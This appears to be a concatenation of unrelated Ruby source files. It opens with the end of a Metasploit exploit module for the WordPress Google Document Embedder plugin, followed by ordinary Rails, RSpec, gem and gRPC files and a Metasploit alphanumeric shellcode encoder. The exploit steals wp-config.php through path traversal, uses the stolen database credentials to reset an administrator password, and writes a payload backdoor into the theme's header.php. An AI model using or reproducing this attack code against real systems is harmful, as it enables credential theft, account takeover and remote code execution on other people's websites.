return Exploit::CheckCode::Safe
end
end
def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
plugins_uri = String.new(uri)
plugins_uri << datastore['PLUGINSPATH']
plugins_uri << '/' if plugins_uri[-1,1] != '/'
admin_uri = String.new(uri)
admin_uri << datastore['ADMINPATH']
admin_uri << '/' if plugins_uri[-1,1] != '/'
themes_uri = String.new(uri)
themes_uri << datastore['THEMESPATH']
themes_uri << '/' if plugins_uri[-1,1] != '/'
print_status('Fetching wp-config.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php",
'vars_get' =>
{
'fn' => "#{rand_text_alphanumeric(4)}.pdf",
'file' => "#{'../' * plugins_uri.count('/')}wp-config.php",
}
})
if res and res.body =~ /allow_url_fopen/
fail_with(Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled')
elsif res.code != 200
fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
end
config = parse_wp_config(res.body)
if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) }
fail_with(Failure::UnexpectedReply, "The config file did not parse properly")
end
begin
@mysql_handle = ::RbMysql.connect({
:host => config['DB_HOST'],
:port => config['DB_PORT'],
:read_timeout => 300,
:write_timeout => 300,
:socket => nil,
:user => config['DB_USER'],
:password => config['DB_PASSWORD'],
:db => config['DB_NAME']
})
rescue Errno::ECONNREFUSED,
RbMysql::ClientError,
Errno::ETIMEDOUT,
RbMysql::AccessDeniedError,
RbMysql::HostNotPrivileged
fail_with(Failure::NotVulnerable, 'Unable to connect to the MySQL server')
end
res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U
INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1")
if res.nil? or res.size <= 0
fail_with(Failure::UnexpectedReply, 'No admin was account found')
end
user = res.first
new_password = rand_text_alphanumeric(8)
@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'")
print_warning("Admin password changed to: #{new_password}")
admin_cookie = get_wp_cookie(uri, user[0], new_password)
theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie)
print_warning("Editing theme #{theme}")
set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded)
print_status("Calling backdoor")
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{themes_uri}#{theme}/header.php",
})
if res and res.code != 200
fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
end
set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content)
@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'")
print_status("Shell should have been acquired. Disabled backdoor")
end
def parse_wp_config(body)
p = store_loot('wordpress.config', 'text/plain', rhost, body, "#{rhost}_wp-config.php")
print_status("wp-config.php saved in: #{p}")
print_status("Parsing config file")
values = {}
body.each_line do |line|
if line =~ /define/
key_pair = line.scan(/('|")([^'"]*)('|")/)
if key_pair.length == 2
values[key_pair[0][1]] = key_pair[1][1]
end
elsif line =~ /table_prefix/
table_prefix = line.scan(/('|")([^'"]*)('|")/)
values['DB_PREFIX'] = table_prefix[0][1]
end
end
#Extract the port from DB_HOST and normalize DB_HOST
values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306
if values['DB_HOST'] =~ /(localhost|127.0.0.1)/
print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP")
values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST'])
end
return values
end
def get_wp_cookie(uri, username, password)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}wp-login.php",
'cookie' => 'wordpress_test_cookie=WP+Cookie+check',
'vars_post' =>
{
'log' => username,
'pwd' => password,
'wp-submit' => 'Log+In',
'testcookie' => '1',
},
})
if res and res.code == 200
fail_with(Failure::UnexpectedReply, 'Admin login failed')
elsif res and res.code != 302
fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
end
admin_cookie = ''
(res.headers['Set-Cookie'] || '').split(',').each do |cookie|
admin_cookie << cookie.split(';')[0]
admin_cookie << ';'
end
if admin_cookie.empty?
fail_with(Failure::UnexpectedReply, 'The resulting cookie was empty')
end
return admin_cookie
end
def get_wp_theme(admin_uri, admin_cookie)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{admin_uri}theme-editor.php?file=header.php",
'cookie' => admin_cookie,
})
if res and res.code != 200
fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0
fail_with(Failure::NotVulnerable, 'Wordpress does not have write access')
end
nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s
old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s))
theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s
return [theme, nonce, old_content]
end
def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{admin_uri}theme-editor.php?",
'cookie' => admin_cookie,
'vars_post' =>
{
'_wpnonce' => nonce,
'theme' => theme,
'newcontent' => new_content,
'action' => 'update',
'file' => 'header.php'
},
})
if res and res.code != 302
fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
end
end
end
| 34.340659 | 146 | 0.591253 |
797492dd1642043853d30ec2192f087c003145d3 | 126 | class AromaSerializer < ActiveModel::Serializer
attributes :id, :aroma
has_many :wine_ids, serializer: WineSerializer
end
| 25.2 | 48 | 0.801587 |
ff3501c7f4069073d8beaced1a41d0c0aa0e0376 | 158 | # Load the rails application
require File.expand_path('../application', __FILE__)
# Initialize the rails application
UnclaimedMoney::Application.initialize!
| 26.333333 | 52 | 0.810127 |
d55e6e98939e1945a2b02686420e596232b9a1c9 | 5,365 | # frozen_string_literal: true
require "simplecov"
SimpleCov.start do
track_files "lib/clangd_client/**/*.rb"
add_filter %r{^/spec/}
enable_coverage :branch
end
require "clangd_client"
require "language_server/client"
require "language_server/protocol"
Dir[File.join(File.expand_path(__dir__), "support/**/*.rb")].each do |rb|
require rb
end
# This file was generated by the `rspec --init` command. Conventionally, all
# specs live under a `spec` directory, which RSpec adds to the `$LOAD_PATH`.
# The generated `.rspec` file contains `--require spec_helper` which will cause
# this file to always be loaded, without a need to explicitly require it in any
# files.
#
# Given that it is always loaded, you are encouraged to keep this file as
# light-weight as possible. Requiring heavyweight dependencies from this file
# will add to the boot time of your test suite on EVERY test run, even for an
# individual file that may not need all of that loaded. Instead, consider making
# a separate helper file that requires the additional dependencies and performs
# the additional setup, and require it from the spec files that actually need
# it.
#
# See http://rubydoc.info/gems/rspec-core/RSpec/Core/Configuration
RSpec.configure do |config|
config.include Spec::Helpers
config.include Spec::Paths
config.include Spec::LoggingHelpers, logging_helpers: true
# rspec-expectations config goes here. You can use an alternate
# assertion/expectation library such as wrong or the stdlib/minitest
# assertions if you prefer.
config.expect_with :rspec do |expectations|
# This option will default to `true` in RSpec 4. It makes the `description`
# and `failure_message` of custom matchers include text for helper methods
# defined using `chain`, e.g.:
# be_bigger_than(2).and_smaller_than(4).description
# # => "be bigger than 2 and smaller than 4"
# ...rather than:
# # => "be bigger than 2"
expectations.include_chain_clauses_in_custom_matcher_descriptions = true
end
# rspec-mocks config goes here. You can use an alternate test double
# library (such as bogus or mocha) by changing the `mock_with` option here.
config.mock_with :rspec do |mocks|
# Prevents you from mocking or stubbing a method that does not exist on
# a real object. This is generally recommended, and will default to
# `true` in RSpec 4.
mocks.verify_partial_doubles = true
end
# This option will default to `:apply_to_host_groups` in RSpec 4 (and will
# have no way to turn it off -- the option exists only for backwards
# compatibility in RSpec 3). It causes shared context metadata to be
# inherited by the metadata hash of host groups and examples, rather than
# triggering implicit auto-inclusion in groups with matching metadata.
config.shared_context_metadata_behavior = :apply_to_host_groups
# The settings below are suggested to provide a good initial experience
# with RSpec, but feel free to customize to your heart's content.
# This allows you to limit a spec run to individual examples or groups
# you care about by tagging them with `:focus` metadata. When nothing
# is tagged with `:focus`, all examples get run. RSpec also provides
# aliases for `it`, `describe`, and `context` that include `:focus`
# metadata: `fit`, `fdescribe` and `fcontext`, respectively.
config.filter_run_when_matching :focus
# Allows RSpec to persist some state between runs in order to support
# the `--only-failures` and `--next-failure` CLI options. We recommend
# you configure your source control system to ignore this file.
config.example_status_persistence_file_path = "spec/examples.txt"
# Limits the available syntax to the non-monkey patched syntax that is
# recommended. For more details, see:
# - http://rspec.info/blog/2012/06/rspecs-new-expectation-syntax/
# - http://www.teaisaweso.me/blog/2013/05/27/rspecs-new-message-expectation-syntax/
# - http://rspec.info/blog/2014/05/notable-changes-in-rspec-3/#zero-monkey-patching-mode
config.disable_monkey_patching!
# This setting enables warnings. It's recommended, but in some cases may
# be too noisy due to issues in dependencies.
config.warnings = true
# Many RSpec users commonly either run the entire suite or an individual
# file, and it's useful to allow more verbose output when running an
# individual spec file.
if config.files_to_run.one?
# Use the documentation formatter for detailed output,
# unless a formatter has already been configured
# (e.g. via a command-line flag).
config.default_formatter = "doc"
end
# Print the 10 slowest examples and example groups at the
# end of the spec run, to help surface which specs are running
# particularly slow.
# config.profile_examples = 10
# Run specs in random order to surface order dependencies. If you find an
# order dependency and want to debug it, you can fix the order by providing
# the seed, which is printed after each run.
# --seed 1234
config.order = :random
# Seed global randomization in this process using the `--seed` CLI option.
# Setting this allows you to use `--seed` to deterministically reproduce
# test failures related to randomization by passing the same `--seed` value
# as the one that triggered the failure.
Kernel.srand config.seed
end
| 43.97541 | 92 | 0.743336 |
1a8a77ee99ef838eb140ce8c8bddf5c6eb51875b | 906 | #!/usr/bin/ruby
# == Description
#
# Creating and summarizing a correlation matrix with daru and statsample
$:.unshift(File.dirname(__FILE__)+'/../lib/')
require 'statsample'
Statsample::Analysis.store("Statsample::Bivariate.correlation_matrix") do
# Create a Daru::DataFrame containing 4 vectors a, b, c and d.
#
# Notice that the `clone` option has been set to *false*. This tells Daru
# to not clone the Daru::Vectors being supplied by `rnorm`, since it would
# be unnecessarily counter productive to clone the vectors once they have
# been assigned to the dataframe.
samples=1000
ds = Daru::DataFrame.new({
:a => rnorm(samples),
:b => rnorm(samples),
:c => rnorm(samples),
:d => rnorm(samples)
}, clone: false)
# Calculate correlation matrix by calling the `cor` shorthand.
cm = cor(ds)
summary(cm)
end
if __FILE__==$0
Statsample::Analysis.run_batch
end
| 27.454545 | 76 | 0.698675 |
62679a263ba5b357afe636d6d3ea62b19821dbaa | 989 | require_relative 'boot'
require "rails"
# Pick the frameworks you want:
require "active_model/railtie"
require "active_job/railtie"
require "active_record/railtie"
require "action_controller/railtie"
require "action_mailer/railtie"
require "action_view/railtie"
require "action_cable/engine"
require "sprockets/railtie"
# require "rails/test_unit/railtie"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module Project3
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 5.1
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
# Don't generate system test files.
config.generators.system_tests = nil
end
end
| 30.90625 | 82 | 0.779575 |
91dfa3b3a78399d0e7c8812056884ab267ed14f8 | 441 | cask 'ckb' do
version '0.2.6'
sha256 '724f7ee9a0e363304bc2b0b82713582bf366a07f2e4c4639389bb6f7efb7ebbf'
url "https://github.com/ccMSC/ckb/releases/download/v#{version}/ckb.pkg"
appcast 'https://github.com/ccMSC/ckb/releases.atom',
checkpoint: 'e78446bd6ad2ad006934a73a1165dbce61e7d99b3a6da6537dff6abe7de16e3d'
name 'ckb'
homepage 'https://github.com/ccMSC/ckb'
pkg 'ckb.pkg'
uninstall pkgutil: 'com.ckb.ckb'
end
| 29.4 | 88 | 0.755102 |
08904ef76ddfa6d7e82e7ce4851e777bb93e44bf | 155 | # frozen_string_literal: true
require_relative 'sleeping_kangaroo12/version'
require_relative 'sleeping_kangaroo12/digest'
module SleepingKangaroo12
end
| 19.375 | 46 | 0.870968 |
38672e116794025d5cd768fff1c36569cc67ef84 | 1,322 | # frozen_string_literal: true
require_relative "lib/grumlin/version"
Gem::Specification.new do |spec|
spec.name = "grumlin"
spec.version = Grumlin::VERSION
spec.authors = ["Gleb Sinyavskiy"]
spec.email = ["[email protected]"]
spec.summary = "Gremlin graph traversal language DSL and client for Ruby."
spec.description = <<~DESCRIPTION
Gremlin graph traversal language DSL and client for Ruby. Suitable and tested with gremlin-server and AWS Neptune.
DESCRIPTION
spec.homepage = "https://github.com/zhulik/grumlin"
spec.license = "MIT"
spec.required_ruby_version = Gem::Requirement.new(">= 2.7.0")
spec.metadata["homepage_uri"] = spec.homepage
spec.metadata["source_code_uri"] = "https://github.com/zhulik/grumlin"
spec.metadata["changelog_uri"] = "https://github.com/zhulik/grumlin/blob/master/CHANGELOG.md"
spec.files = Dir.chdir(File.expand_path(__dir__)) do
`git ls-files -z`.split("\x0").reject { |f| f.match(%r{\A(?:test|spec|features)/}) }
end
spec.require_paths = ["lib"]
spec.add_dependency "async-pool", "~> 0.3"
spec.add_dependency "async-websocket", "~> 0.19"
spec.add_dependency "oj", "~> 3.12"
spec.add_dependency "zeitwerk", "~> 2.4"
spec.metadata = {
"rubygems_mfa_required" => "true"
}
end
| 34.789474 | 118 | 0.677005 |
33ccd78d675770d58e4b250dd6a41de9520cdb9c | 105 | class MeditationSerializer
include JSONAPI::Serializer
attributes :title, :audio, :comments, :id
end
| 21 | 43 | 0.780952 |
61ba6c93cf3ae83a8e0f7866bbdcf85a5c461389 | 815 | class ResultsController < ApplicationController
def index; end
def show
@path = params[:base_path]
@path = URI.parse(@path).path if @path.starts_with?("http")
@document = Services.search_api.get("/content?link=#{@path}")
rescue GdsApi::HTTPNotFound
flash[:error] = "That URL wasn't found."
redirect_to results_path
end
def destroy
Services.search_api.delete!("/content?link=#{params[:id]}")
flash[:notice] = "This search result will be removed soon. Please refresh this page to check."
redirect_to result_path("result", base_path: params[:id])
rescue GdsApi::HTTPNotFound
flash[:error] = "That URL wasn't found."
redirect_to results_path
rescue GdsApi::HTTPClientError => e
flash[:error] = e.error_details["result"]
redirect_to results_path
end
end
| 32.6 | 98 | 0.703067 |
e8edcb8b473808e4f196a61b58f3eb756c54f78d | 466 | class Customer
def order
barista = Barista.new
barista.brew
end
end
class Barista
def brew
espresso = Espresso.new
milk = Milk.new
cup = Cup.new
cup.receive(espresso.brew, milk.steam)
end
end
class Espresso
def brew
'エスプレッソ'
end
end
class Milk
def steam
'スチームミルク'
end
end
class Cup
def receive(*materials)
materials << 'が入っています'
materials.join(' ')
end
end
customer = Customer.new
puts customer.order
| 12.263158 | 42 | 0.665236 |
5df181a1bac252ee3fed2e071310e3c4fdbc9594 | 271 | FactoryGirl.define do
factory :benchmark_type do
association :repo
sequence(:category) { |n| "bm_category#{n}" }
script_url 'https://raw.githubusercontent.com/ruby-bench/ruby-bench-suite/master/ruby/benchmarks/bm_app_answer.rb'
digest 'abcde'
end
end
| 30.111111 | 118 | 0.734317 |
aba79ff7b06edde102f4b8e87648aa7b823c503a | 1,810 | require "rails_helper"
module ActiveAdmin
RSpec.describe Resource, "Attributes" do
let(:application) { ActiveAdmin::Application.new }
let(:namespace) { ActiveAdmin::Namespace.new application, :admin }
let(:resource_config) { ActiveAdmin::Resource.new namespace, Post }
describe "#resource_attributes" do
subject do
resource_config.resource_attributes
end
it "should return attributes hash" do
expect(subject).to eq(author_id: :author,
body: :body,
created_at: :created_at,
custom_category_id: :category,
foo_id: :foo_id,
position: :position,
published_date: :published_date,
starred: :starred,
title: :title,
updated_at: :updated_at)
end
it "does not return sensitive attributes" do
keep = ActiveAdmin.application.filter_attributes
ActiveAdmin.application.filter_attributes = [:published_date]
expect(subject).to_not include :published_date
ActiveAdmin.application.filter_attributes = keep
end
end
describe "#association_columns" do
subject do
resource_config.association_columns
end
it "should return associations" do
expect(subject).to eq([:author, :category])
end
end
describe "#content_columns" do
subject do
resource_config.content_columns
end
it "should return columns without associations" do
expect(subject).to eq([:title, :body, :published_date, :position, :starred, :foo_id, :created_at, :updated_at])
end
end
end
end
| 32.321429 | 119 | 0.590608 |
262562f946dca2bb4f44b4f5b8a9877ec104a047 | 417 | namespace :test do
task :performance do
output = File.join(Rails.root, 'tmp', 'performance.csv')
results = File.open(output, 'w+')
results.puts 'Operation;Time (ms)'
results.close
Dir["#{File.join(Rails.root, 'test', 'performance')}/**/*.rb"].each do |file|
next if file =~ /base_performance\.rb$/
puts `ruby #{file} 2>&1 | grep 'Time to ' | sed 's/[\.E]//g'`
end
end
end
| 29.785714 | 81 | 0.589928 |
21cadc3de29d95f0b81bb64a0f8b09ac57ccd875 | 1,967 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/encoder/alpha2/alpha_mixed'
class Metasploit3 < Msf::Encoder::Alphanum
Rank = LowRanking
def initialize
super(
'Name' => "Alpha2 Alphanumeric Mixedcase Encoder",
'Description' => %q{
Encodes payloads as alphanumeric mixedcase text. This encoder uses
SkyLined's Alpha2 encoding suite.
},
'Author' => [ 'pusscat', 'skylined' ],
'Arch' => ARCH_X86,
'License' => BSD_LICENSE,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'Decoder' =>
{
'BlockSize' => 1,
})
end
#
# Returns the decoder stub that is adjusted for the size of the buffer
# being encoded.
#
def decoder_stub(state)
reg = datastore['BufferRegister']
off = (datastore['BufferOffset'] || 0).to_i
buf = ''
# We need to create a GetEIP stub for the exploit
if (not reg)
if(datastore['AllowWin32SEH'] and datastore['AllowWin32SEH'].to_s =~ /^(t|y|1)/i)
buf = 'VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089'
reg = 'ECX'
off = 0
else
res = Rex::Arch::X86.geteip_fpu(state.badchars)
if (not res)
raise RuntimeError, "Unable to generate geteip code"
end
buf, reg, off = res
end
else
reg.upcase!
end
buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off)
end
#
# Encodes a one byte block with the current index of the length of the
# payload.
#
def encode_block(state, block)
Rex::Encoder::Alpha2::AlphaMixed::encode_byte(block.unpack('C')[0], state.badchars)
end
#
# Tack on our terminator
#
def encode_end(state)
state.encoded += Rex::Encoder::Alpha2::AlphaMixed::add_terminator()
end
end
| 26.945205 | 87 | 0.612608 |
b91551f3bc05f22d3af502b8f7e6846eee38a9fd | 815 | =begin
#Tatum API
## Authentication <!-- ReDoc-Inject: <security-definitions> -->
OpenAPI spec version: 3.9.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 3.0.31
=end
require 'spec_helper'
require 'json'
require 'date'
# Unit tests for Tatum::InlineResponse20035
# Automatically generated by swagger-codegen (github.com/swagger-api/swagger-codegen)
# Please update as you see appropriate
describe 'InlineResponse20035' do
before do
# run before each test
@instance = Tatum::InlineResponse20035.new
end
after do
# run after each test
end
describe 'test an instance of InlineResponse20035' do
it 'should create an instance of InlineResponse20035' do
expect(@instance).to be_instance_of(Tatum::InlineResponse20035)
end
end
end
| 23.285714 | 85 | 0.747239 |
ff6c044f93e560a66f6aa47e88164190296810ac | 4,876 | # encoding: utf-8
require 'rspec/core'
require 'rspec/expectations'
require 'rspec/mocks'
require_relative '../../spec_helper'
describe CartoDB::TableRelator do
describe '.rows_and_size' do
before(:all) do
CartoDB::UserModule::DBService.any_instance.stubs(:enable_remote_db_user).returns(true)
@user = FactoryGirl.create(:valid_user)
end
after(:all) do
@user.destroy
end
before do
CartoDB::NamedMapsWrapper::NamedMaps.any_instance.stubs(:get => nil, :create => true, :update => true)
end
it 'checks row_count_and_size relator method' do
@user.in_database { |database| @db = database }
table_name = "test_#{rand(999)}"
table = create_table({
user_id: @user.id,
name: table_name
})
expected_data = { size: 16384, row_count: 0}
table.row_count_and_size.should eq expected_data
@db.drop_table?(table_name)
end
end
describe '.serialize_dependent_visualizations' do
before :each do
CartoDB::NamedMapsWrapper::NamedMaps.any_instance.stubs(:get => nil, :create => true, :update => true)
table = mock('Table')
table.stubs(:id).returns(2)
@affected_vis_records = [
{ id: 1, name: '1st', updated_at: Time.now },
{ id: 2, name: '2nd', updated_at: Time.now },
{ id: 3, name: '3rd', updated_at: Time.now },
]
vis_mock = mock('DB Visualizations')
records = mock('records')
records.stubs(:to_a).returns(@affected_vis_records)
vis_mock.stubs(:with_sql).returns(records)
db = { visualizations: vis_mock }
@table_relator = CartoDB::TableRelator.new(db, table)
end
describe 'given there are no dependent visualizations' do
before :each do
@dependents = @table_relator.serialize_dependent_visualizations
end
it 'should return an empty list' do
@dependents.should eq []
end
end
describe 'given there are at least one dependent visualization' do
before :each do
CartoDB::NamedMapsWrapper::NamedMaps.any_instance.stubs(:get => nil, :create => true, :update => true)
CartoDB::Visualization::Member.any_instance.stubs(:dependent?).returns(true, false, true)
@dependents = @table_relator.serialize_dependent_visualizations
end
it 'should return a list with dependent visualizations' do
@dependents.size.should eq 2
end
it 'should contain expected datapoints required for dashboard' do
@dependents[0][:id].should eq '1'
@dependents[0][:name].should eq '1st'
@dependents[0][:updated_at].should eq @affected_vis_records[0][:updated_at]
@dependents[1][:id].should eq '3'
@dependents[1][:name].should eq '3rd'
@dependents[1][:updated_at].should eq @affected_vis_records[2][:updated_at]
end
end
end
describe '.serialize_non_dependent_visualizations' do
before :each do
CartoDB::NamedMapsWrapper::NamedMaps.any_instance.stubs(:get => nil, :create => true, :update => true)
table = mock('Table')
table.stubs(:id).returns(2)
@affected_vis_records = [
{ id: 1, name: '1st', updated_at: Time.now },
{ id: 2, name: '2nd', updated_at: Time.now },
{ id: 3, name: '3rd', updated_at: Time.now },
]
vis_mock = mock('DB Visualizations')
records = mock('records')
records.stubs(:to_a).returns(@affected_vis_records)
vis_mock.stubs(:with_sql).returns(records)
db = { visualizations: vis_mock }
@table_relator = CartoDB::TableRelator.new(db, table)
end
describe 'given there are no dependent visualizations' do
before :each do
CartoDB::NamedMapsWrapper::NamedMaps.any_instance.stubs(:get => nil, :create => true, :update => true)
@non_dependents = @table_relator.serialize_non_dependent_visualizations
end
it 'should return an empty list' do
@non_dependents.should eq []
end
end
describe 'given there are at least one non_dependent visualization' do
before :each do
CartoDB::NamedMapsWrapper::NamedMaps.any_instance.stubs(:get => nil, :create => true, :update => true)
CartoDB::Visualization::Member.any_instance.stubs(:non_dependent?).returns(true, false, false)
@non_dependents = @table_relator.serialize_non_dependent_visualizations
end
it 'should return a list with dependent visualizations' do
@non_dependents.size.should eq 1
end
it 'should contain expected datapoints required for dashboard' do
@non_dependents[0][:id].should eq '1'
@non_dependents[0][:name].should eq '1st'
@non_dependents[0][:updated_at].should eq @affected_vis_records[0][:updated_at]
end
end
end
end
| 33.627586 | 110 | 0.647457 |
ac4320797da09777b16cd2eaa817406d17fecdbc | 373 | class VCarreraDetalle < ActiveRecord::Base
self.table_name= "v_carreras_detalles"
self.primary_key = "carrera_detalle_id"
attr_accessible :carrera_detalle_id,:carrera_id,:piloto_id, :datos_piloto, :numero_piloto, :posicion, :created_at,:updated_at
scope :orden_01, -> { order("carrera_detalle_id")}
scope :orden_posicion, -> { order("posicion asc")}
end | 33.909091 | 128 | 0.753351 |
4aa759ccc2e95f3f1b9426ac70b0be6d7d53fa7e | 1,600 | # Copyright 2017 OpenCensus Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require "opencensus/common/config"
module OpenCensus
# The OpenCensus overall configuration.
@config = Common::Config.new
class << self
##
# Configure OpenCensus. Most configuration parameters are part of
# subconfigurations that live under this main configuration.
#
# If the OpenCensus Railtie is installed in a Rails application, the
# toplevel configuration object is also exposed as `config.opencensus`.
#
# Generally, you should configure this once at process initialization,
# but it can be modified at any time.
#
# Example:
#
# OpenCensus.configure do |config|
# config.trace.default_sampler =
# OpenCensus::Trace::Samplers::AlwaysSample.new
# config.trace.default_max_attributes = 16
# end
#
def configure
if block_given?
yield @config
else
@config
end
end
##
# Get the current configuration.
# @private
#
attr_reader :config
end
end
| 29.090909 | 75 | 0.68875 |
28e32c9ced8df05dcdff745301d99dbdfc5092cc | 4,185 | require 'em_test_helper'
class TestHeaderAndContentProtocol < Test::Unit::TestCase
class SimpleTest < EM::P::HeaderAndContentProtocol
attr_reader :first_header, :my_headers, :request
def receive_first_header_line hdr
@first_header ||= []
@first_header << hdr
end
def receive_headers hdrs
@my_headers ||= []
@my_headers << hdrs
end
def receive_request hdrs, content
@request ||= []
@request << [hdrs, content]
end
end
class StopOnUnbind < EM::Connection
def unbind
EM.add_timer(0.01) { EM.stop }
end
end
def setup
@port = next_port
end
def test_no_content
the_connection = nil
EM.run {
EM.start_server( "127.0.0.1", @port, SimpleTest ) do |conn|
the_connection = conn
end
setup_timeout
EM.connect "127.0.0.1", @port, StopOnUnbind do |c|
c.send_data [ "aaa\n", "bbb\r\n", "ccc\n", "\n" ].join
c.close_connection_after_writing
end
}
assert_equal( ["aaa"], the_connection.first_header )
assert_equal( [%w(aaa bbb ccc)], the_connection.my_headers )
assert_equal( [[%w(aaa bbb ccc), ""]], the_connection.request )
end
def test_content
the_connection = nil
content = "A" * 50
headers = ["aaa", "bbb", "Content-length: #{content.length}", "ccc"]
EM.run {
EM.start_server( "127.0.0.1", @port, SimpleTest ) do |conn|
the_connection = conn
end
setup_timeout
EM.connect "127.0.0.1", @port, StopOnUnbind do |c|
headers.each { |h| c.send_data "#{h}\r\n" }
c.send_data "\n"
c.send_data content
c.close_connection_after_writing
end
}
assert_equal( ["aaa"], the_connection.first_header )
assert_equal( [headers], the_connection.my_headers )
assert_equal( [[headers, content]], the_connection.request )
end
def test_several_requests
the_connection = nil
content = "A" * 50
headers = ["aaa", "bbb", "Content-length: #{content.length}", "ccc"]
EM.run {
EM.start_server( "127.0.0.1", @port, SimpleTest ) do |conn|
the_connection = conn
end
setup_timeout
EM.connect( "127.0.0.1", @port, StopOnUnbind ) do |c|
5.times do
headers.each { |h| c.send_data "#{h}\r\n" }
c.send_data "\n"
c.send_data content
end
c.close_connection_after_writing
end
}
assert_equal( ["aaa"] * 5, the_connection.first_header )
assert_equal( [headers] * 5, the_connection.my_headers )
assert_equal( [[headers, content]] * 5, the_connection.request )
end
# def x_test_multiple_content_length_headers
# # This is supposed to throw a RuntimeError but it throws a C++ exception instead.
# the_connection = nil
# content = "A" * 50
# headers = ["aaa", "bbb", ["Content-length: #{content.length}"]*2, "ccc"].flatten
# EM.run {
# EM.start_server( "127.0.0.1", @port, SimpleTest ) do |conn|
# the_connection = conn
# end
# EM.add_timer(4) {raise "test timed out"}
# test_proc = proc {
# t = TCPSocket.new "127.0.0.1", @port
# headers.each {|h| t.write "#{h}\r\n" }
# t.write "\n"
# t.write content
# t.close
# }
# EM.defer test_proc, proc {
# EM.stop
# }
# }
# end
def test_interpret_headers
the_connection = nil
content = "A" * 50
headers = [
"GET / HTTP/1.0",
"Accept: aaa",
"User-Agent: bbb",
"Host: ccc",
"x-tempest-header:ddd"
]
EM.run {
EM.start_server( "127.0.0.1", @port, SimpleTest ) do |conn|
the_connection = conn
end
setup_timeout
EM.connect( "127.0.0.1", @port, StopOnUnbind ) do |c|
headers.each { |h| c.send_data "#{h}\r\n" }
c.send_data "\n"
c.send_data content
c.close_connection_after_writing
end
}
hsh = the_connection.headers_2_hash( the_connection.my_headers.shift )
expect = {
:accept => "aaa",
:user_agent => "bbb",
:host => "ccc",
:x_tempest_header => "ddd"
}
assert_equal(expect, hsh)
end
end
| 26.826923 | 87 | 0.58638 |
e8cba18376c9e8643572c864f48a0df9c1b40487 | 974 | # Generated by the protocol buffer compiler. DO NOT EDIT!
# Source: runtime/runtime.proto for package 'runtime'
require 'grpc'
require 'runtime/runtime_pb'
module Runtime
module Runtime
class Service
include GRPC::GenericService
self.marshal_class_method = :encode
self.unmarshal_class_method = :decode
self.service_name = 'runtime.Runtime'
rpc :Create, ::Runtime::CreateRequest, ::Runtime::CreateResponse
rpc :Read, ::Runtime::ReadRequest, ::Runtime::ReadResponse
rpc :Delete, ::Runtime::DeleteRequest, ::Runtime::DeleteResponse
rpc :Update, ::Runtime::UpdateRequest, ::Runtime::UpdateResponse
rpc :Logs, ::Runtime::LogsRequest, stream(::Runtime::LogRecord)
rpc :CreateNamespace, ::Runtime::CreateNamespaceRequest, ::Runtime::CreateNamespaceResponse
rpc :DeleteNamespace, ::Runtime::DeleteNamespaceRequest, ::Runtime::DeleteNamespaceResponse
end
Stub = Service.rpc_stub_class
end
end
| 33.586207 | 97 | 0.724846 |
acaf63b43f1607b1fa274e572b36a5d661be168b | 7,846 | require_relative '../spec_helper'
describe 'Base' do
class FooClass
include ::Plotrb::Base
end
class BarClass
end
class BazClass
end
describe 'ClassMethods' do
let(:foo) { Class.new { include ::Plotrb::Base } }
describe '.attributes' do
it 'has attributes' do
foo.respond_to?(:attributes).should be_true
end
end
describe '.add_attributes' do
before(:each) do
foo.class_eval { add_attributes :foo_foo }
end
